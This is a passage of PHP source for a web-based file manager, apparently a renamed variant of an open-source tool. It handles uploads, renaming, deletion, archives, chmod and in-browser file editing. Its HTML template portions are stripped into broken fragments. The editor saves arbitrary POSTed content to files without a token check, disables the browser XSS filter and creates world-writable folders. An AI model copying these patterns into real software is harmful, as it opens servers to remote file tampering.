$old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else { if (rename($tmp_name, $fullPath)) { if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and (isset($_POST['zip']) || isset($_POST['tar'])) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
'. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], 